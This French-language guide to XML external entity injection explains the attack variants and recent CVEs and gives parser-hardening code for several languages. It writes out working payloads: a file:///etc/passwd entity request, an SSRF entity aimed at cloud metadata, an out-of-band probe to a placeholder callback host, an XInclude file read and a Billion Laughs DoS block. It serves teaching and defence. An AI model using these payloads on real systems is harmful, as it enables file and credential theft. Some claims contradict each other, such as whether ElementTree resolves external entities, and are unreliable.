XXE (CWE-611) exploite les parseurs XML qui résolvent des entités externes : divulgation de fichiers, SSRF et RCE possible. Un seul paramètre de parseur suffit à éliminer cette classe.
TL;DR
file:///etc/passwd — un seul paramètre de parseur élimine cette vulnérabilitédisallow-doctype-decl: true (Java) / defusedxml (Python) / DtdProcessing.Prohibit (.NET)La spécification XML inclut un mécanisme de Définition de Type de Document (DTD) qui permet aux documents XML de définir des raccourcis d'entités nommées — des références que le parseur substitue par leur valeur définie lors du traitement. Une variante, les entités externes, instruit le parseur de récupérer du contenu depuis un URI externe et de l'inclure dans le document. L'injection d'entité externe XML (XXE, CWE-611) survient quand une application parse du XML contrôlé par un attaquant et qu'un parseur mal configuré résout ces références d'entités externes sans restriction.
La surface d'attaque est plus large que la plupart des ingénieurs ne le supposent. Au-delà des APIs REST traditionnelles avec Content-Type: application/xml, XXE existe dans les services SOAP, les flux SSO SAML, les points de terminaison d'upload de fichiers acceptant SVG et les formats Office (DOCX/XLSX/ODT), les processeurs PDF gérant les formulaires XFA, les parseurs de flux RSS/Atom et les points de terminaison XML-RPC. Tout chemin de code qui passe du XML non fiable dans un parseur non protégé est un point d'entrée XXE.
OWASP a classifié XXE sous A05:2021 (Mauvaise configuration de sécurité) plutôt que A03 (Injection) car la cause principale est une mauvaise configuration du parseur, pas une faille d'injection au niveau du langage. La spécification XML elle-même n'est pas défaillante — les parseurs sont simplement livrés avec la résolution d'entités externes activée par défaut dans de nombreux frameworks, et les développeurs la désactivent rarement explicitement. CVE-2025-66516 (Apache Tika, CVSS 10.0) et CVE-2024-34102 (Adobe Commerce CosmicSting, CVSS 9.8, environ 170 000 boutiques affectées) démontrent que XXE reste activement exploité à une sévérité critique en 2025.
L'attaque exploite l'étape de résolution d'entités du parseur XML. Quand le parseur rencontre &nomentite; dans le contenu d'un document, il recherche la définition de l'entité et substitue la valeur résolue. Pour les entités externes définies avec le mot-clé SYSTEM, le parseur récupère l'URI spécifié et utilise son contenu comme valeur de substitution.
La chaîne d'exploitation se déroule en cinq étapes :
<!DOCTYPE> définissant une entité externe : <!ENTITY xxe SYSTEM "file:///etc/passwd">.&xxe; dans le corps du document, il récupère file:///etc/passwd depuis le système de fichiers local.Un exemple d'exploitation minimal :
POST /api/produits HTTP/1.1
Host: boutique.exemple.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rechercheProduisit>
<requete>&xxe;</requete>
</rechercheProduisit>HTTP/1.1 200 OK
Content-Type: application/json
{"resultats": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..."}La valeur de l'entité remplace &xxe; dans l'élément <requete>, et l'application la reflète dans sa réponse.
| Variante | Technique | Impact | Aveugle ? |
|---|---|---|---|
| Divulgation de fichier classique | SYSTEM "file:///etc/passwd" reflété dans la réponse | Lecture de fichier local | Non |
| SSRF via XXE | SYSTEM "http://169.254.169.254/..." | Accès réseau interne, vol de métadonnées cloud | Parfois |
| OOB aveugle | Entité paramètre en deux étapes + DTD externe | Exfiltration via rappel DNS/HTTP | Oui |
| DTD locale basée sur erreurs | Réutilisation DTD locale, contenu fichier dans message d'erreur | Lecture fichier sans infrastructure OOB | Non (canal d'erreur) |
| Injection XInclude | xi:include href="file:///etc/passwd" — pas de DOCTYPE requis | Lecture fichier, contourne les filtres DOCTYPE | Non |
| Upload SVG | SVG malveillant traité par Batik/ImageMagick | Lecture fichier serveur via upload avatar/image | Parfois |
| Upload DOCX/XLSX | Fichiers XML dans archive ZIP OOXML | Lecture fichier quand le document est parsé | Parfois |
| XXE SAML | XXE dans AuthnRequest SAML ou métadonnées | Contournement d'authentification, divulgation de credentials | Parfois |
| DoS Billion Laughs | Expansion récursive d'entités (10^9 expansions) | Épuisement mémoire, crash de service | Non |
Le XXE classique en bande est la forme la plus simple : l'entité résout un URI file:// et le contenu apparaît directement dans la réponse HTTP. Tout fichier lisible par l'utilisateur du processus applicatif est accessible — /etc/passwd, fichiers de configuration, clés privées, identifiants de base de données.
Le SSRF via XXE utilise le parseur comme client HTTP. Remplacer file:// par http:// amène le parseur à émettre des requêtes HTTP sortantes. Sur les instances cloud, http://169.254.169.254/latest/meta-data/iam/security-credentials/ renvoie des identifiants IAM AWS sans authentification.
Le XXE aveugle OOB s'applique quand le serveur parse le XML mais ne renvoie pas le contenu de l'entité dans la réponse HTTP. Des entités paramètre font que le serveur récupère un DTD hébergé par l'attaquant, qui instruit le parseur d'exfiltrer le contenu du fichier vers un second point de terminaison OOB.
La réutilisation de DTD locale basée sur erreurs est préférable quand l'infrastructure OOB est indisponible. Elle référence un fichier DTD déjà présent sur le serveur, redéfinit une entité paramètre, et déclenche une erreur de parsing contenant le contenu du fichier cible.
L'injection XInclude contourne les défenses qui bloquent les patterns <!DOCTYPE. XInclude utilise des éléments qualifiés par espace de nommage plutôt que des déclarations DOCTYPE. Désactiver le traitement des entités ne désactive pas XInclude — les deux doivent être configurés indépendamment.
Le DoS Billion Laughs exploite l'expansion récursive d'entités internes pour épuiser la mémoire et le CPU du parseur. Aucun accès réseau externe ni URI file:// n'est nécessaire — l'attaque est auto-contenue dans le DTD :
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>Quatre niveaux d'expansion produisent ~10 000 chaînes "lol" ; dix niveaux produisent ~10^10 — épuisant mémoire et CPU avant la fin du parsing. defusedxml bloque cela par défaut ; lxml nécessite huge_tree=False ; Java requiert setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true).
CVE-2024-34102 — Adobe Commerce CosmicSting (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
La vulnérabilité XXE la plus exploitée de 2024. L'API REST d'Adobe Commerce acceptait des corps XML sans désactiver la résolution d'entités externes. Les chercheurs de Sansec ont démontré une chaîne RCE en cinq étapes : XXE lit app/etc/env.php → extrait la crypt/key → forge un JWT admin → API REST admin → exécution de code à la demande. Environ 170 000 boutiques non patchées étaient vulnérables. Plus de 4 275 boutiques e-commerce ont été compromises dans les 72 heures suivant la divulgation publique. L'attaque ne nécessitait ni authentification ni interaction utilisateur. CVE-2024-34102 a été présenté à Black Hat USA 2024.
CVE-2025-66516 — Apache Tika PDF/XFA (CVSS 10.0)
Apache Tika est la bibliothèque d'extraction de contenu côté serveur la plus utilisée, alimentant l'ingestion de documents dans la recherche d'entreprise, les pipelines RAG et les services de traitement de fichiers. Les versions antérieures à 3.2.2 traitaient le contenu XFA (XML Forms Architecture) dans des documents PDF sans désactiver la résolution d'entités externes. Toute application utilisant Tika pour traiter des PDFs fournis par un attaquant est vulnérable — y compris les pipelines d'ingestion de documents pour l'IA, une nouvelle surface d'attaque à haute valeur.
CVE-2024-22024 — Ivanti Connect Secure SAML (CVSS 8.3)
Le produit VPN d'Ivanti traitait les AuthnRequests SAML à /dana-na/auth/saml-sso.cgi sans désactiver la résolution d'entités externes. Le même produit était simultanément vulnérable à CVE-2023-46805 (contournement d'authentification) — combinées, ces deux CVE permettaient une exécution de code à distance non authentifiée contre des milliers de concentrateurs VPN d'entreprise déployés dans le monde entier.
CVE-2024-45409 — ruby-saml (CVSS 10.0)
GitHub Security Lab a découvert que ruby-saml (utilisé par GitLab et des milliers d'applications Ruby) était vulnérable à la falsification d'assertions SAML via un différentiel de parseur XML. Nokogiri (vérification de signature) et REXML (extraction des claims) parsent le même document XML différemment. Un attaquant crée un document passant la vérification de signature Nokogiri mais présentant des claims falsifiés à REXML — réalisant un contournement d'authentification sans injection traditionnelle dans le document. CVE-2025-25292 est une seconde variante du même différentiel, publiée en 2025.
HackerOne #1113539 — Rockstar Games Import XLSX (Élevé)
Une fonctionnalité d'import Excel sur le portail web de Rockstar Games traitait des fichiers .xlsx côté serveur. L'attaquant a modifié les fichiers XML dans l'archive ZIP OOXML pour injecter des payloads XXE. Une fois uploadé et traité, le serveur a effectué des rappels OOB confirmant XXE, puis divulgué le contenu de fichiers côté serveur.
Pattern CosmicSting (CVE-2024-34102) : XXE n'a pas besoin de retourner directement le contenu des fichiers pour causer un impact critique. La chaîne RCE lit un fichier de configuration, extrait une clé cryptographique, et forge des jetons d'authentification admin — un chemin en trois étapes du XXE à la compromission complète du système sans interaction utilisateur. Toujours évaluer la chaîne d'impact complète, pas seulement la primitive de lecture de fichier.
Identifier tous les points d'entrée XML : APIs REST avec Content-Type: application/xml, services SOAP, points de terminaison SAML, flux d'upload de fichiers acceptant SVG/DOCX/XLSX/ODT/PDF, flux RSS/Atom et XML-RPC.
Envoyer un probe de base pour confirmer l'acceptation XML :
<?xml version="1.0" encoding="UTF-8"?>
<racine><donnees>test</donnees></racine>Une réponse 415 Unsupported Media Type signifie que XML est rejeté. Tout autre code d'état indique que le point de terminaison traite le XML.
Tester l'expansion d'entités avec un canari en bande :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "XXECANARY123">]>
<racine><donnees>&test;</donnees></racine>Si XXECANARY123 apparaît dans la réponse, l'expansion d'entités est active.
Tenter la lecture de fichier avec entité SYSTEM :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<racine><donnees>&xxe;</donnees></racine>Pour les contextes aveugles, utiliser Interactsh ou Burp Collaborator :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://VOTRE-TOKEN.oast.pro/probe"> %xxe;]>
<racine/>Tester XInclude indépendamment :
<racine xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</racine>Burp Suite Pro inclut des contrôles XXE utilisant Burp Collaborator pour la détection OOB sur les points de terminaison XML, services SOAP et flux d'upload de fichiers.
XXEinjector (Ruby) automatise les tests XXE en bande et OOB avec des payloads pour plusieurs types de contenu et formats de fichiers.
Les templates Nuclei (vulnerabilities/xxe/) incluent des templates XXE spécifiques aux CVE.
Semgrep signale les configurations de parseur non sécurisées avec les règles python.lang.security.audit.xml-dtd et java.lang.security.audit.xxe.
BreachVex détecte XXE à travers une séquence par étapes de contrôles complémentaires : acceptation XML, canari d'expansion d'entités, lecture de fichier via entité SYSTEM, corrélation de rappels hors-bande, et sondage de DTD locale basé sur erreurs sur des chemins OS connus. Les résultats à faible signal (rappels DNS seuls) sont signalés pour revue, tandis que les preuves d'exfiltration de données sont rapportées automatiquement.
Désactiver le traitement des entités externes au niveau du parseur élimine le XXE classique, le XXE aveugle OOB, le XXE basé sur erreurs et le DoS Billion Laughs en un seul changement de configuration. XInclude doit être désactivé séparément.
// VULNÉRABLE — DocumentBuilderFactory par défaut résout les entités externes
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(fluxEntree); // XXE possible
// SÉCURISÉ — désactiver DOCTYPE entièrement (bloque tous les vecteurs XXE + DoS)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false); // désactive également XInclude
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(fluxEntree); // XXE bloqué# NOTE : xml.etree.ElementTree lève ExpatError sur les déclarations d'entités externes —
# il ne résout PAS les entités externes (sûr contre XXE). En revanche, il est vulnérable
# au DoS Billion Laughs via expansion récursive d'entités internes.
# Utiliser defusedxml pour une protection double contre XXE et DoS.
import xml.etree.ElementTree as ET
arbre = ET.parse(xml_non_fiable) # sûr contre XXE ; vulnérable au DoS Billion Laughs
# SÉCURISÉ — defusedxml bloque tous les patterns XXE ET le DoS Billion Laughs
from defusedxml import ElementTree as ET
arbre = ET.parse(xml_non_fiable) # tous les patterns XXE bloqués par défaut
# SÉCURISÉ — lxml avec durcissement explicite
from lxml import etree
parseur = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False,
huge_tree=False, # bloque le DoS Billion Laughs
)
arbre = etree.fromstring(octets_xml, parseur)// VULNÉRABLE — .NET 4.5.2 et antérieurs : XmlResolver par défaut = XmlUrlResolver
var doc = new XmlDocument();
doc.Load(fluxEntree); // XXE possible sur les anciennes versions .NET
// SÉCURISÉ — résolveur explicitement nul
var doc = new XmlDocument { XmlResolver = null };
doc.Load(fluxEntree); // bloque la résolution d'entités externes
// SÉCURISÉ — XmlReader avec interdiction DTD (préféré pour le streaming)
var parametres = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null,
MaxCharactersFromEntities = 0 // bloque Billion Laughs
};
using var lecteur = XmlReader.Create(fluxEntree, parametres);// VULNÉRABLE — LIBXML_NOENT active la substitution d'entités
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT); // LIBXML_NOENT est dangereux
// SÉCURISÉ — LIBXML_NONET bloque les entités réseau (pas file://)
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);
// SÉCURISÉ (PHP < 8.0) — désactiver le chargement d'entités externes globalement
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
// PHP 8.0+ : le chargement d'entités externes est désactivé par défaut pour DOMDocument
// mais SimpleXML et XMLReader nécessitent toujours le flag LIBXML_NONET explicite// fast-xml-parser : 15M+ téléchargements par semaine — bibliothèque XML Node.js la plus courante
// VULNÉRABLE — configuration par défaut peut traiter les entités
const { XMLParser } = require('fast-xml-parser');
const parseur = new XMLParser();
const resultat = parseur.parse(chaineXml);
// SÉCURISÉ — désactiver explicitement le traitement des entités
const { XMLParser } = require('fast-xml-parser');
const parseur = new XMLParser({
processEntities: false, // désactive la substitution d'entités
htmlEntities: false, // désactive le traitement des entités HTML
});
const resultat = parseur.parse(chaineXml);Filtrage d'egress en défense en profondeur : restreindre les connexions sortantes des services de traitement XML bloque l'exfiltration de données OOB pour le XXE aveugle et les pivots SSRF. Cela ne prévient pas les lectures file://, mais élimine la capacité de l'attaquant à recevoir des données exfiltrées via des rappels DNS/HTTP. Les règles ModSecurity CRS 942100-942130 ajoutent une détection au niveau WAF. Aucun de ces contrôles ne remplace le durcissement du parseur — ils ajoutent de la profondeur.
L'injection XXE survient quand un parseur XML résout des références d'entités externes intégrées dans une entrée contrôlée par l'attaquant. La spécification DTD XML autorise des entités qui référencent des URI externes — lorsque le parseur récupère ces URI, il permet la lecture de fichiers (file:///etc/passwd), le SSRF (http://service-interne/) et dans certaines configurations l'exécution de code. CWE-611 classe ceci comme Restriction incorrecte des références d'entités externes XML. OWASP a intégré XXE dans A05:2021 (Mauvaise configuration de sécurité) car les parseurs vulnérables sont presque toujours mal configurés, et non défaillants.
XXE et SSRF sont des classes de vulnérabilités distinctes qui se combinent. XXE est une faille de parsing XML qui force le serveur à résoudre une entité externe pointant vers n'importe quel schéma URI (file://, http://, ftp://, gopher://). Quand cet URI pointe vers un service interne, le XXE devient un pivot SSRF — le parseur XML agit en tant que client HTTP. Le SSRF peut également survenir indépendamment sans aucun XML. XXE-vers-SSRF est une chaîne d'exploitation, pas un synonyme.
XXE est classifié sous OWASP Top 10 A05:2021 — Mauvaise configuration de sécurité. Avant la mise à jour 2021, XXE avait sa propre catégorie (A04:2017). La reclassification reflète que XXE n'est pas une faille de conception de la spécification XML, mais une défaillance de configuration — les parseurs sont livrés avec la résolution d'entités externes activée par défaut dans de nombreux frameworks, et les développeurs ne la désactivent que rarement.
DocumentBuilderFactory et SAXParserFactory de Java (paramètres par défaut avant Java 17), DOMDocument de PHP avec le flag LIBXML_NOENT, xml.etree.ElementTree et xml.minidom de Python (toutes les versions), libxmljs2 de Node.js sans noent:false explicite, XmlDocument de .NET avec XmlResolver non défini à null, et Nokogiri de Ruby avec l'option noent. Alternatives sécurisées : Java (désactiver DOCTYPE), Python (defusedxml), PHP (LIBXML_NONET sans LIBXML_NOENT), .NET (XmlReaderSettings avec DtdProcessing.Prohibit).
XXE peut s'enchaîner en exécution de code par plusieurs voies : (1) CosmicSting (CVE-2024-34102) — XXE lit app/etc/env.php, extrait la clé de chiffrement, forge un JWT admin, puis exécution de code via l'API ; (2) Fonctions d'extension XSLT — PHP XSL avec registerPHPFunctions() permet à XSLT d'appeler des fonctions PHP arbitraires incluant system() ; (3) XXE SAML lit un keytab Kerberos pour un craquage hors ligne vers AD admin ; (4) XXE lit des identifiants de base de données pour une élévation de privilèges. L'exécution directe de code via XXE seul est rare — elle nécessite généralement une chaîne logique applicative vulnérable.
Le XXE aveugle OOB (Hors-Bande) survient quand le parseur XML résout les entités externes mais que le serveur ne renvoie pas le contenu de l'entité dans la réponse HTTP. Les attaquants utilisent des chaînes d'entités paramètre en deux étapes : le serveur cible récupère un DTD hébergé par l'attaquant, qui instruit le parseur d'exfiltrer le contenu du fichier vers une deuxième URL de rappel OAST. Des outils comme Interactsh (oast.pro) ou Burp Collaborator capturent ces rappels DNS et HTTP. Un rappel DNS seul indique POTENTIEL (confiance 0,30) ; HTTP avec données confirme CONFIRMÉ (0,98).
La réutilisation de DTD locale basée sur les erreurs est une technique XXE qui ne nécessite aucune infrastructure OOB externe. Elle référence un fichier DTD déjà présent sur le serveur cible (/usr/share/yelp/dtd/docbookx.dtd sur Linux), redéfinit une entité paramètre de ce DTD, et construit une chaîne qui déclenche une erreur de parsing XML contenant le contenu du fichier cible dans le message d'erreur. Cette technique est précieuse dans les environnements avec un filtrage d'egress strict bloquant les rappels OOB.
1. Envoyer un probe XML bénin — si pas de 415, le XML est accepté. 2. Injecter un canari d'entité locale : <!DOCTYPE foo [<!ENTITY test 'XXECANARY'>]><root>&test;</root> — si XXECANARY apparaît dans la réponse, l'expansion d'entités est active. 3. Tester l'entité SYSTEM : file:///etc/passwd dans la valeur d'entité — le contenu du fichier confirme le XXE classique. 4. Pour les contextes aveugles : utiliser une URL Interactsh dans la valeur d'entité et surveiller les rappels DNS/HTTP. 5. Tester XInclude séparément avec l'élément xi:include.
XInclude est un standard W3C permettant la composition de documents XML via des éléments xi:include — sans DOCTYPE requis. Un attaquant qui peut injecter du contenu XML peut utiliser XInclude pour lire des fichiers, contournant les défenses qui bloquent les DOCTYPE. XInclude doit être désactivé explicitement via setXIncludeAware(false) en Java — désactiver DOCTYPE seul est insuffisant.
Le XXE par upload de fichiers survient quand une application accepte des formats de fichiers basés sur XML (SVG, DOCX, XLSX, ODT, PDF avec XFA) et les traite côté serveur. Les fichiers SVG sont traités par Apache Batik. Les fichiers DOCX/XLSX contiennent du XML dans des archives ZIP OOXML traités par Apache POI ou openpyxl. Le PDF avec formulaires XFA est traité par Apache Tika (CVE-2025-66516, CVSS 10.0). L'attaque ne nécessite aucune modification des en-têtes HTTP — seul le contenu du fichier importe.
Désactiver entièrement le traitement DOCTYPE au niveau du parseur. En Java JAXP : setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). En Python : utiliser defusedxml à la place des modules xml de la bibliothèque standard — il bloque tous les patterns XXE par défaut. En .NET : définir DtdProcessing = DtdProcessing.Prohibit et XmlResolver = null. En PHP : ne jamais passer LIBXML_NOENT ; utiliser LIBXML_NONET. Ce seul changement de configuration élimine simultanement XXE classique, XXE aveugle OOB, XXE basé sur erreurs et le DoS Billion Laughs. XInclude doit être désactivé séparément.
Par sévérité CVSS : CVE-2025-66516 (Apache Tika PDF/XFA, CVSS 10.0), CVE-2024-45409 (ruby-saml contournement SAML, CVSS 10.0), CVE-2024-34102 (Adobe Commerce CosmicSting, CVSS 9.8 — XXE le plus exploité de 2024, environ 170 000 boutiques affectées), CVE-2025-49493 (Akamai CloudTest SOAP, CVSS 9.1), CVE-2024-22024 (Ivanti Connect Secure SAML, CVSS 8.3), CVE-2025-13096 (IBM BAW, CVSS 8.2), CVE-2024-30043 (SharePoint, CVSS 6.5).
Oui — les parseurs JSON n'implémentent pas le système DTD/entité qui permet XXE. Si une application peut migrer de XML vers JSON pour son API, XXE est éliminé au niveau architectural. Cependant, XML est inévitable dans les assertions SAML, les formats de documents Office (DOCX/XLSX), les images SVG, les flux RSS/Atom, les services SOAP et les protocoles d'intégration d'entreprise. Pour ces contextes, le durcissement du parseur est obligatoire.